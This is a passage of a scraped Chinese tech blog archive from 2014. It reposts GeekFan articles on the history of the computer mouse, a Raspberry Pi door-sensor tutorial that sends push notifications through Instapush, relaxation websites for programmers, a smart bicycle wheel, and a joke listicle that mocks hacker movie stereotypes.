"鼠标变形史:都是你想不到的奇葩")在SRI研发鼠标的同期,德国的Telefunken公司也在进行着类似的项目。他们的设计没有轮子和X-Y坐标系,看上去是个球形结构(像之后的机械鼠)。滚动球的设计与SRI的模型有些类似,也是德国人自主研发的。 ## PARC(施乐帕克研究中心) [![54858f212d18e](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1b4a50731b_5b19257485dc733654d4d92500725b06.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1b4a50731b_5b19257485dc733654d4d92500725b06.jpg "鼠标变形史:都是你想不到的奇葩")世界上最早的桌面电脑AITO是PARC在1973年研制并推向市场的,但是这些个人工作站并没有商业化,大多应用于施乐集团内部和大学校园,这些产品都拥有SRI研发的特别版输入接口。AITO的用户很快就被鼠标吸引了,并证实了鼠标的市场潜力。 ## 没有滚球的鼠标 [![54858f27bc779](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/883a142657_0f8042e4809222f5080e8127098d38cc.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/883a142657_0f8042e4809222f5080e8127098d38cc.jpg "鼠标变形史:都是你想不到的奇葩")滚球结构的鼠标面临着容易堵塞灰尘和污物的问题。1981年,Steven Kirsch为鼠标开发了一款光学模型。同一年,PARC也研制出一个类似的版本。这些鼠标利用光线跟踪运动,不再需要滚球。不过想要它正常工作,人们需要配一个鼠标垫。 ## 走进市场的鼠标 [![54858f2eeaa8b](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f86d8962e0_58327b623cb7e924e64ae1ad53bf1dca.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f86d8962e0_58327b623cb7e924e64ae1ad53bf1dca.jpg "鼠标变形史:都是你想不到的奇葩")乔布斯在1979年参观PARC的时候第一次见到了鼠标,这令他激动万分。这次的经历启发他在1983年苹果推出的Lisa上配备了类似的设备。Lisa是最早的商用电脑。一款类似但具有棱角的鼠标被应用在苹果1984年发布的Macintosh上。 ## 智能化、不需要鼠标垫的鼠标 [![54858f375af78](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8f4ebd8b59_358f1fd0f217518e9331423aed98dfa1.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8f4ebd8b59_358f1fd0f217518e9331423aed98dfa1.jpg "鼠标变形史:都是你想不到的奇葩")鼠标面世的几年来,逐渐加入了滚轮。微软在1996年推出的智能鼠标就是滚轮鼠标的代表之一。1999年,微软用光学LED取代传统的滚球设计。当然,这个问题在1981年就被解决了,但是这次改进的光学鼠标不再需要鼠标垫了。 ## 又有了球 [![54858f3fa5260](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/239abdc60d_677ae8c910d21435983039a680237041.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/239abdc60d_677ae8c910d21435983039a680237041.jpg "鼠标变形史:都是你想不到的奇葩")轨迹球鼠标,通过滚动暴露在外面的球对屏幕上的光标进行控制的鼠标。这项技术可以追溯到上世纪50年代,当时是加拿大名为DATAR的军事项目。2000年,微软将这项技术与轨迹跟踪技术结合起来,用手指,或者单单拇指就能利用突出的、颜色亮丽的轨迹球进行精确定位。 ## 苹果的Pro [![54858f46b25c1](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/12cdda0d17_cd051f5ab3341274e87baff2db9d0237.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/12cdda0d17_cd051f5ab3341274e87baff2db9d0237.jpg "鼠标变形史:都是你想不到的奇葩")苹果继续研发其自己的有线鼠标,但是其设计理念是化繁为简。1998年,该公司发布了第一款USB接口的鼠标iMac系列,但其圆形的设计让大多数用户不以为然甚至难以理解,因此该款鼠标获得了“冰球”的外号。2000年,苹果发布了Pro系列鼠标,这款鼠标装在透明的塑料中,用整体式取代可见的按钮。 ## S+ARCK [![54858f4db804a](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/41df38dda8_0a90e16c7d3344000fd546d60c1f6fa8.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/41df38dda8_0a90e16c7d3344000fd546d60c1f6fa8.jpg "鼠标变形史:都是你想不到的奇葩")苹果并不是唯一一家靠设计来促进产品销售的。2004年,微软推出了其自主研发的基于S+ARCK的未来版光学鼠标。这款时髦的鼠标由Philippe Starck设计,是微软首次尝试将艺术元素融入到产品设计中。由于有对称的结构,这款鼠标同样适合左撇子们。 ## 超出视觉范畴 [![54858f54b4dec](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cc427f9697_e8b200c646ba0d8de0b480e37d953618.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cc427f9697_e8b200c646ba0d8de0b480e37d953618.jpg "鼠标变形史:都是你想不到的奇葩")多年来,索尼为其VAIO设计了一系列时尚而独特的有线鼠标,但很少有像2006年推出的Talk (VN-CX1)那么吸引眼球。这款支持USB的鼠标能在你需要的时候变为一部电话。它将经典的翻盖式手机与便携式鼠标结合在一起。在聊天的时候,滚轮还能作为调节音量的控制器。 ## 鼠标的发展趋势 [![54858f5d50752](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5e2bb64296_d1046612dedf33b77bfe65b78f5121e4.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5e2bb64296_d1046612dedf33b77bfe65b78f5121e4.jpg "鼠标变形史:都是你想不到的奇葩")便携式电脑的多样化促使鼠标制造商们探寻缩小设备的新途径。早在1984年,罗技就率先研发了无线鼠标。2005年Newton Peripherals 发布了超薄设计的 MoGo蓝牙鼠标。不用鼠标的时候,它可以插在电脑的卡槽中进行充电。 ## 不可思议 [![54858f689c63d1](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/214a5ef81a_d271b209b4a550d61b620a3b1b1cfef8.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/214a5ef81a_d271b209b4a550d61b620a3b1b1cfef8.jpg "鼠标变形史:都是你想不到的奇葩")苹果改进其Pro系列鼠标,并在2005年推出了一款支持多方向滚动球的版本,这款鼠标的两个按键非常灵敏,其侧键还支持编程。2009年推出的Magic Mouse对其进行了进一步的简化,光滑的顶部是一个手势输入设备,用户可以在鼠标表面的任何位置进行滚动和点击。 ## 易弯曲型 [![54858f6f88278](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/823d330f25_35269bc45dd1bfabe1d918ea08471255.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/823d330f25_35269bc45dd1bfabe1d918ea08471255.jpg "鼠标变形史:都是你想不到的奇葩")微软在2010年再次推出了新产品:易弯曲的Arc鼠标。这款鼠标在旅行或闲置的时候能够放平整,当你要使用的时候又能弯曲成适合你手掌的形状。它的前面有灵敏的触摸滚动条以及两个按钮,其余部分都能够弯曲。它的蓝光技术宣称能在粗糙的木头表面使用,甚至在地毯上使用。 ## 有家的鼠标 [![54858f80e542d](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f9459ff9e6_db41bf941eaa66709e198b15bb3ec2aa.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f9459ff9e6_db41bf941eaa66709e198b15bb3ec2aa.jpg "鼠标变形史:都是你想不到的奇葩")撇开设计不说,每个鼠标的使用应该是舒适的。基于这点,日本的玩具制造商Thanko在2010年推出了这款带加热型鼠标垫的鼠标,能有效抵御寒冷,让你的手指保持温暖和灵活. [鼠标变形史:都是你想不到的奇葩](http://www.geekfan.net/13589/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 用树莓派给智能手机发送推送通知 Date: 2014-12-12 URL: https://blog.wo.ai/archives/831 Categories: Uncategorized [![send-push-notifications-from-raspberry-pi](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f939df611d_a6a00dd6bf05b00c3d89ee436412bbfd-1024x725.jpg)](http://www.geekfan.net/wp-content/uploads/a6a00dd6bf05b00c3d89ee436412bbfd.jpg "用树莓派给智能手机发送推送通知")本项目说明了如何从树莓派发送推送通知给iOS和Android设备,只需要用到一个免费的推送app即可。这里的主要思想就是利用一个电磁感应门来触发推送信息的事件。当电磁门打开时,树莓派就发送消息。在这个项目中,电磁感应门可以很容易替换成其他类型的告警设备,比如PIR运动传感器,红外引信等。 **作者声明:** 我不是个Python专家,也不是树莓派的专家。虽然我有过很多软件开发的经验,而且也曾是个全职的开发者,但这是我的第一个树莓派项目和Python应用。因此,我写的Python代码很可能不是最简洁的,而且也可能会有其他更好的方式来配置树莓派。我个人很乐意接受建设性的批评和建议。如果有任何改进的建议,请在评论栏中告诉我。 # 配置树莓派发送推送消息 下面各项就是我们需要完成的: 1. 在Instapush上建立推送服务,并安装移动app 2. 将电磁感应门连接到树莓派上 3. 安装pycurl库 4. 加载python代码 5. 运行python应用 6. 测试,获取推送通知 ## 在Instapush上建立推送服务,并安装移动app 要处理推送通知,我使用了一个名为Instapush的免费推送服务。Instapush在iOS和Android上有免费的app,而且这个平台上也有一个易于使用的REST API供软件开发者使用。 1. 首先,在注册并登陆。 2. 下载移动app([iOS版](https://itunes.apple.com/us/app/instapush/id767725373?mt=8),[Android版](https://play.google.com/store/apps/details?id=im.instapush.pushbots&hl=en)) 3. 登陆到app上,使用你在网站上注册的账户即可 4. 在app上登陆后,你会发现控制面板中已经显示你的设备已连接到Instapush的账户上了。去这里查看[https://instapush.im/dashboard.](https://instapush.im/dashboard) 5. 然后点击设备标签。我有两台设备都连接到了Instapush的账户上,见下图。 6. [![mobile-push-devices](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/65ee6a9f8f_73c824c0c7db7921a741eb1293bcc564.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/65ee6a9f8f_73c824c0c7db7921a741eb1293bcc564.jpg "用树莓派给智能手机发送推送通知")接下来,点击app标签。然后选择添加应用。 7. 为你的应用选择一个名称,然后点击Add。我把应用命名为“Door Push” 8. 添加了你的应用之后,你会进入事件界面。点击添加事件 9. 为你的时间选择一个标题。我建议在事件名中不要加入任何空格。我用的是“DoorAlert” 10. 你需要添加至少一个tracker。这基本上就是一个用在推送通知中的变量。我给它命名为“message” 11. 最后,输入你想要推送的消息内容。我的Python代码将变量{message}传给Instapush服务,因此我建议你只把{message}添加到Message字段即可。 [![push-notification-api1](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c3a0a71ba4_9d9761d5d54bbf3c6492ecad51082bb3.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c3a0a71ba4_9d9761d5d54bbf3c6492ecad51082bb3.jpg "用树莓派给智能手机发送推送通知")点击添加事件 12. 点击Basic Info标签,记下Application ID和Application Secret fields这两个字段的内容。在编写Python代码时需要用到这些。可以参考下图中的示例。当然,我把我的ID做了些处理。[![push-service-key](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e7f38927ca_979bb4dfbaaa0177283d2fb5857de7eb.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e7f38927ca_979bb4dfbaaa0177283d2fb5857de7eb.jpg "用树莓派给智能手机发送推送通知") ## 将电磁感应门连接到树莓派上 我使用了一个面包板套件来让这个过程变得简单些。我使用GPIO的第23号管脚以及接地管脚来连接电磁感应门。哪条线接GPIO,哪条线接地无关紧要。下面是示意图: ## [![raspberry-pi-magnetic-door-sensor-wiring](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1e155b9b3c_d615e51a1f7cb92e09dbb98e4832e99e.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1e155b9b3c_d615e51a1f7cb92e09dbb98e4832e99e.jpg "用树莓派给智能手机发送推送通知") ## 安装pycurl库 我们的Python程序需要使用一个称为pycurl的库来发送API请求给InstaPush服务。在树莓派上运行下面的命令来安装这个Python库。 sudo apt-get install python-pycurl ## Python代码 下面就是我编写的Python代码了。代码中的注释应该能很好的解释我在做什么。将程序命名为doorSensor.py。你可以在这里[下载](http://videos.cctvcamerapros.com/downloads/doorSensor.py)源代码。 # ------------- Begin doorSensor.py ------------------ # import pycurl, json from StringIO import StringIO import RPi.GPIO as GPIO #setup GPIO using Broadcom SOC channel numbering GPIO.setmode(GPIO.BCM) # set to pull-up (normally closed position) GPIO.setup(23, GPIO.IN, pull_up_down=GPIO.PUD_UP) #setup InstaPush variables # set this to Application ID from Instapush appID = "" # set this to the Application Secret from Instapush appSecret = "" # leave this set to DoorAlert unless you named your event something different in Instapush pushEvent = "DoorAlert" # set this to what you want the push message to say pushMessage = "Door Opened!" # use StringIO to capture the response from our push API call buffer = StringIO() # use Curl to post to the Instapush API c = pycurl.Curl() # set Instapush API URL c.setopt(c.URL, 'https://api.instapush.im/v1/post') # setup custom headers for authentication variables and content type c.setopt(c.HTTPHEADER, ['x-instapush-appid: ' + appID, 'x-instapush-appsecret: ' + appSecret, 'Content-Type: application/json']) # create a dictionary structure for the JSON data to post to Instapush json_fields = {} # setup JSON values json_fields['event']=pushEvent json_fields['trackers'] = {} json_fields['trackers']['message']=pushMessage postfields = json.dumps(json_fields) # make sure to send the JSON with post c.setopt(c.POSTFIELDS, postfields) # set this so we can capture the resposne in our buffer c.setopt(c.WRITEFUNCTION, buffer.write) # uncomment to see the post that is sent #c.setopt(c.VERBOSE, True) # setup an indefinite loop that looks for the door to be opened / closed while True: # door open detected GPIO.wait_for_edge(23, GPIO.RISING) print("Door Opened!\n") # in the door is opened, send the push request c.perform() # capture the response from the server body= buffer.getvalue() # print the response print(body) # reset the buffer buffer.truncate(0) buffer.seek(0) # door closed detected GPIO.wait_for_edge(23, GPIO.FALLING) print("Door Closed!\n") # cleanup c.close() GPIO.cleanup() # -------------------- End doorSensor.py -------------------- # Save the Python script on your Raspberry Pi. 将Python脚本保存到你的树莓派上。 ## 运行Python应用 要测试是否能从树莓派上发送推送通知,先运行doorSensor.py应用。程序跑起来之后,将电磁感应门的传感器分开。你会看到树莓派的屏幕上会打印出一些内容。第一行就是运行程序的命令,而第二行就是当我们打开门的时候所打印的。紧跟着会打印出从InstaPush的API服务接收到的响应。 pi@raspberrypi ~ $ sudo python doorSensor.py Door Opened! {“msg”:”Notification Sent Successfully”,”error”:false,”status”:200} Door Closed! ## 获取推送通知 在你打开电磁门的1到2秒后,你应该在iOS或者Android设备上接收到推送通知。下图就是在我的三星Galaxy上所接收到的推送消息。iPhone上也工作的一样好。 [![raspberry-pi-push-message](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fa555a1a25_6057fe416896b38ede77b97682f6cbf1.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fa555a1a25_6057fe416896b38ede77b97682f6cbf1.jpg "用树莓派给智能手机发送推送通知") [用树莓派给智能手机发送推送通知](http://www.geekfan.net/13505/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 10个帮程序员减压放松的网站! Date: 2014-12-11 URL: https://blog.wo.ai/archives/830 Categories: Uncategorized [![relax-for-health](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/64645f320a_56fdbca4412258871a867ff96c151c80.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/64645f320a_56fdbca4412258871a867ff96c151c80.jpg "10个帮程序员减压放松的网站!") 同学们工作之余,不妨放下微博跟朋友圈,来这10个网站感受一下看着就醉了的情境:「念完往上一推音乐键,我往后一靠,潮乎乎的软皮耳机里头,音乐排山倒海。」今天推荐的网站,利用代入感强的图片与音频,迅速帮你抹平焦虑,获得平和心态,特别献给改稿千遍的设计师们。 ## **1.[Calm](http://www.calm.com/)** 这是同类型中最火的网站了,站如其名,「平和」,通过自然的图像(阳光下的暖流、淙淙的小溪等)与缓缓的音乐,帮你在短时间内放松下来。左侧有时间设定,从 2 分钟到 20 分钟,右底部可以改变音频、图像,调节音量等。还有 IOS 客户端下载呦。 [![calm](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/93c42410a7_a5979a1cab999c158118e81aad88ff64.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/93c42410a7_a5979a1cab999c158118e81aad88ff64.jpg "10个帮程序员减压放松的网站!") ## **2.[Do Nothing For 2 Minutes](http://www.donothingfor2minutes.com/)** 「木头人,两分钟」,这是一个简单到极致的网站,当你打开的时候,自动开始计时,这时间你不能触碰键盘和鼠标,否则 2 分钟会重置。你需要做的,就是放下手头的工作,静静地享受潮声,这也很棒,不是吗?两分钟足够你冷静下来,休息一下了。 [![donothing](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/57fed708f1_15909cf5858ed531bf3d7b6e08b3dca9.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/57fed708f1_15909cf5858ed531bf3d7b6e08b3dca9.jpg "10个帮程序员减压放松的网站!") ## **3.[Get Relaxed](http://www.getrelaxed.com/)** 如果两分钟不足以让你彻底放松,试试这个。如下图,打开网站后,头枕着双手往后仰,欣赏自然风光,聆听网站为你精心挑选的音乐。图像 3 秒一换,有 15 种,每种持续大概 2 – 4 分钟,现在,开始吧!提醒:网站有简陋广告,稍微影响体验。 [![relax](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e13fdc7162_c180aaadf5ab10fb3a733f43f3ffc4b3.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e13fdc7162_c180aaadf5ab10fb3a733f43f3ffc4b3.jpg "10个帮程序员减压放松的网站!") ## **4.[LoungeV Studio](http://www.loungev.com/)** 前三个都是图像,现在来个新鲜的。这个网站提供高清的自然风光视频 + 音乐。有沙滩、瀑布、水下景色等等,网站背景是一个温馨的客厅,右侧有视频可选,对喜欢看视频的同学来说,还是蛮不错的。 [![longv](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e8304cd6e6_866538a388acc2186c0acda0c24a9b18.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e8304cd6e6_866538a388acc2186c0acda0c24a9b18.jpg "10个帮程序员减压放松的网站!") ## **5.[A Soft Murmur](http://asoftmurmur.com/)** 这个网站太棒了!小编玩了好久都舍不得停下来。网站让你自由创造美妙的声音。你可以通过混合不同的声音(雨声、火柴燃烧的声音、打雷声、海潮声…..不一而足。但是,总有一款令你爱不释手!)当然,声音的大小也可以自己调节。如果你对混合的声音非常满意,也可以分享到脸书、谷歌等…. [![soft](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/80ad16ea42_dc58a7971816b41f3cc2b8c0f5f1bf0c.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/80ad16ea42_dc58a7971816b41f3cc2b8c0f5f1bf0c.jpg "10个帮程序员减压放松的网站!") ## **6.[Nature Sounds For Me](http://naturesoundsfor.me/)** 这个比上面那个界面稍逊,但是玩起来更嗨!它提供的声音除了以上的自然类声音,还有很多你想不到的:绵羊咩咩、骏马跺脚喷气、不同的鸟叫声,甚至是心脏跳动、厨房叮当的声音,不仅令人身临其境,而且搭配起来简直不能更欢乐!当然,它还有 IOS 客户端。 [![nature](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/32d3ad4d8b_405aaff66082ffe7231d7c1f79926c17.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/32d3ad4d8b_405aaff66082ffe7231d7c1f79926c17.jpg "10个帮程序员减压放松的网站!") ## **7.[Noisli](http://www.noisli.com/)** 这个网站根据你的情绪变化,选择不同的音乐和背景颜色。颜色大多朴素平和,背景声音也有对应的图标可以选择。还有一点贴心的设计是,网站右侧有便签本,你可以一边享受静谧时光一边随手记点事。为了造福大众,网站还提供 IOS 版。 [![noshi](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cdfc205b95_de220430452852f11cc57cde7d5bbbba.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cdfc205b95_de220430452852f11cc57cde7d5bbbba.jpg "10个帮程序员减压放松的网站!") ## **8.[Soundrown](http://soundrown.com/)** 网站一进去,有 3 个关键词:放松、专注、逃离。的确,它成功做到了这一点。它有 10 种不同的声音帮助你放松心情,也可以混合使用。不同的声音对应不同的背景,网站非常有设计感,相信你会重新回来体验一次。 [![soundrown](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a668a110af_123125f1a0124dd89b90e40a959745b5.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a668a110af_123125f1a0124dd89b90e40a959745b5.jpg "10个帮程序员减压放松的网站!") ## **9.[The Thoughts Room](http://thequietplaceproject.com/)** 一句话简洁:世界的秘密——树洞类网站。你可以在这里向全世界倾诉你的任何想法,网站支持 37 种语言,不过看了一下,没有中国…[![though](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/65910a8f41_23f9c1b08ef269ebf4b403ed833a5b03.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/65910a8f41_23f9c1b08ef269ebf4b403ed833a5b03.jpg "10个帮程序员减压放松的网站!") ## **10.[Raining.Fm](http://raining.fm/)** 有时候,我们需要的仅仅是一点点雨声来帮助我们平静。网站专门提供雨声,因为单一,所以也更加专业。网站有 3 种不同的雨声类型,右侧有定时器可以在你放松时提醒你,简单也好用的一个网站,赞一个。 [![raining](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c78bdcbe91_6bbedc46fea8270201aeb6605711072a.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c78bdcbe91_6bbedc46fea8270201aeb6605711072a.jpg "10个帮程序员减压放松的网站!") [10个帮程序员减压放松的网站!](http://www.geekfan.net/13468/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 首款自行车智能车轮Ommi Wheel面世 Date: 2014-12-10 URL: https://blog.wo.ai/archives/829 Categories: Uncategorized [![3039472-slide-s-1-the-elevators-of-the-future-will-go-sideways](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d070c6d892_98f2974e989139b6ec2cf6f5dade8bb8.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d070c6d892_98f2974e989139b6ec2cf6f5dade8bb8.jpg "首款自行车智能车轮Ommi Wheel面世") 成立三年的电动自行车公司 Evelo 宣布,它将在明年一月推出一款智能车轮 Omni Wheel,它将会是市面上第一款智能车轮。 据 [Fastcoexist](http://www.fastcoexist.com/3039472/a-detachable-wheel-that-makes-your-bike-electric-is-about-to-hit-the-market#1) 报道,这款产品已投入研发超过一年。它一次充电可以行驶 25 英里(升级电池后可行驶 40 英里)。现在在市面上 Omni Wheel 几乎没有竞争者,据 Evelo 创始人 Boris Mordkovich 表述,首先这款 Omni Wheel 是一个前轮(现研发的智能车轮大多专注于后轮),“前轮更容易拆卸和安装,而后轮则需要一定的技术。”而且,“前轮能提供更多的电动辅助,你骑上陡峭的小山就更加容易了。” 另一大区别是:Omni Wheel 配置有无线显示屏,它能够让用户自行选择助力水平,随时查看速度和距离信息。此前众筹大热智能车轮的 Copenhagen Wheel 和 FlyKly wheel 都需要与手机 app 协作,而 Omni Wheel 不需要使用手机协作。 Omni Wheel 虽比电动自行车便宜,但依旧价格不菲。预购价 1000 美元,全额售价 1200 美元。 [![3039472-slide-s-2-the-elevators-of-the-future-will-go-sideways](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b7770dee92_2ba93825a44d1ff2492b5d31d96ec636.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b7770dee92_2ba93825a44d1ff2492b5d31d96ec636.jpg "首款自行车智能车轮Ommi Wheel面世")[![3039472-slide-s-4-the-elevators-of-the-future-will-go-sideways](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cc0537baf2_15dbac93c70937fa4b6b2cdf89cad4cf.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cc0537baf2_15dbac93c70937fa4b6b2cdf89cad4cf.jpg "首款自行车智能车轮Ommi Wheel面世") [首款自行车智能车轮Ommi Wheel面世](http://www.geekfan.net/13449/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 如何成为一名黑客 Date: 2014-12-09 URL: https://blog.wo.ai/archives/828 Categories: Uncategorized [![hacker_title](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/61419169f1_75a11ffde7ee03cd386e208eada4077a.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/61419169f1_75a11ffde7ee03cd386e208eada4077a.jpg "如何成为一名黑客") # 1\. 这么说,你想成为一名黑客 # [![anigif_enhanced-buzz-32049-1354308193-8](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/22434ef393_b47866d743661b2cf3e24c0b70d480d9.gif)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/22434ef393_b47866d743661b2cf3e24c0b70d480d9.gif "如何成为一名黑客")2\. 不错的志向,因为… # [![hacking_is_good](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c3c30fbf75_529115dd9adba4b0cb68a2dd821ab9e7.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c3c30fbf75_529115dd9adba4b0cb68a2dd821ab9e7.jpg "如何成为一名黑客")3\. 你需要弄一个很酷的面具,和一件笔挺的西装 # [![hack3](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8084552386_1b572a228335c278226e5aadaf6a307a.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8084552386_1b572a228335c278226e5aadaf6a307a.jpg "如何成为一名黑客")4\. 如果你是一个火辣的女孩、并梳着一个男孩的发型,那就更好了 # [![hack4](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a812dbaa01_a25f8cec379229ac70c91c72382459f7.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a812dbaa01_a25f8cec379229ac70c91c72382459f7.jpg "如何成为一名黑客")5\. 该死,这款发型也相当不错 # [![hack5](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7cb6da9662_904c81e2fdbe5e544820975a61b1a7df.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7cb6da9662_904c81e2fdbe5e544820975a61b1a7df.jpg "如何成为一名黑客")6\. 找一个很小很小的墨镜 # [![hack6](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c43c0ac018_be7e79a5f74fc7adf5389db105c9a6ae.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c43c0ac018_be7e79a5f74fc7adf5389db105c9a6ae.jpg "如何成为一名黑客")7\. 或者蛤蟆镜 # [![hack7](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7804ccbb15_5cfbcaa3aabcdeb85232d056dbb0dc78.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7804ccbb15_5cfbcaa3aabcdeb85232d056dbb0dc78.jpg "如何成为一名黑客")8\. 墨镜对一个黑客来说非常非常的重要,不是吗? # [![matrixrev1](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6e3d072ada_a9e08bef9c7ac470f0c00bd121de2663.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6e3d072ada_a9e08bef9c7ac470f0c00bd121de2663.jpg "如何成为一名黑客")9\. 想当黑客,你需要至少两台电脑 # [![hack9](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/589f8a8700_5d10be6dfca543855824f804bda414d2.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/589f8a8700_5d10be6dfca543855824f804bda414d2.jpg "如何成为一名黑客")10\. 一个黑客可以把任何环境转变成工作室 # [![hack10](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/db033222c0_1eb05714d6b6112a2f80ab2beddf0e2f.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/db033222c0_1eb05714d6b6112a2f80ab2beddf0e2f.jpg "如何成为一名黑客") # 11\. 黑客需要有一个非常隐蔽的藏身处,以防警察的抓捕 # [![hack11](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e358276deb_6f6129e450ae92fc3c769e4ee57a1614.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e358276deb_6f6129e450ae92fc3c769e4ee57a1614.jpg "如何成为一名黑客")12\. 黑客对电脑的内部结构非常的了解 # [![hack12](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c2340d0830_72d26107e4498bc70438417420e5f0c4.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c2340d0830_72d26107e4498bc70438417420e5f0c4.jpg "如何成为一名黑客")13\. IE ?NO,真正的黑客使用火狐浏览器 # [![hack13](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/365db74a31_423a2e717f1c6179ed88f6d88fd04d35.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/365db74a31_423a2e717f1c6179ed88f6d88fd04d35.jpg "如何成为一名黑客")14\. 真正的黑客的电脑屏幕上的字都是绿色的 # [![hack14](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/13d9d5f3c1_b066bd6fe4faf1abd463fce722a8126a.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/13d9d5f3c1_b066bd6fe4faf1abd463fce722a8126a.jpg "如何成为一名黑客")15\. Linux ? 没错,真正的黑客使用Linux # [![hack15](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/edbfedb190_0efa2362d94bd499aa204940bafe39e9.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/edbfedb190_0efa2362d94bd499aa204940bafe39e9.jpg "如何成为一名黑客")16\. 黑客能够攻破防御系统,获取最高机密信息 # 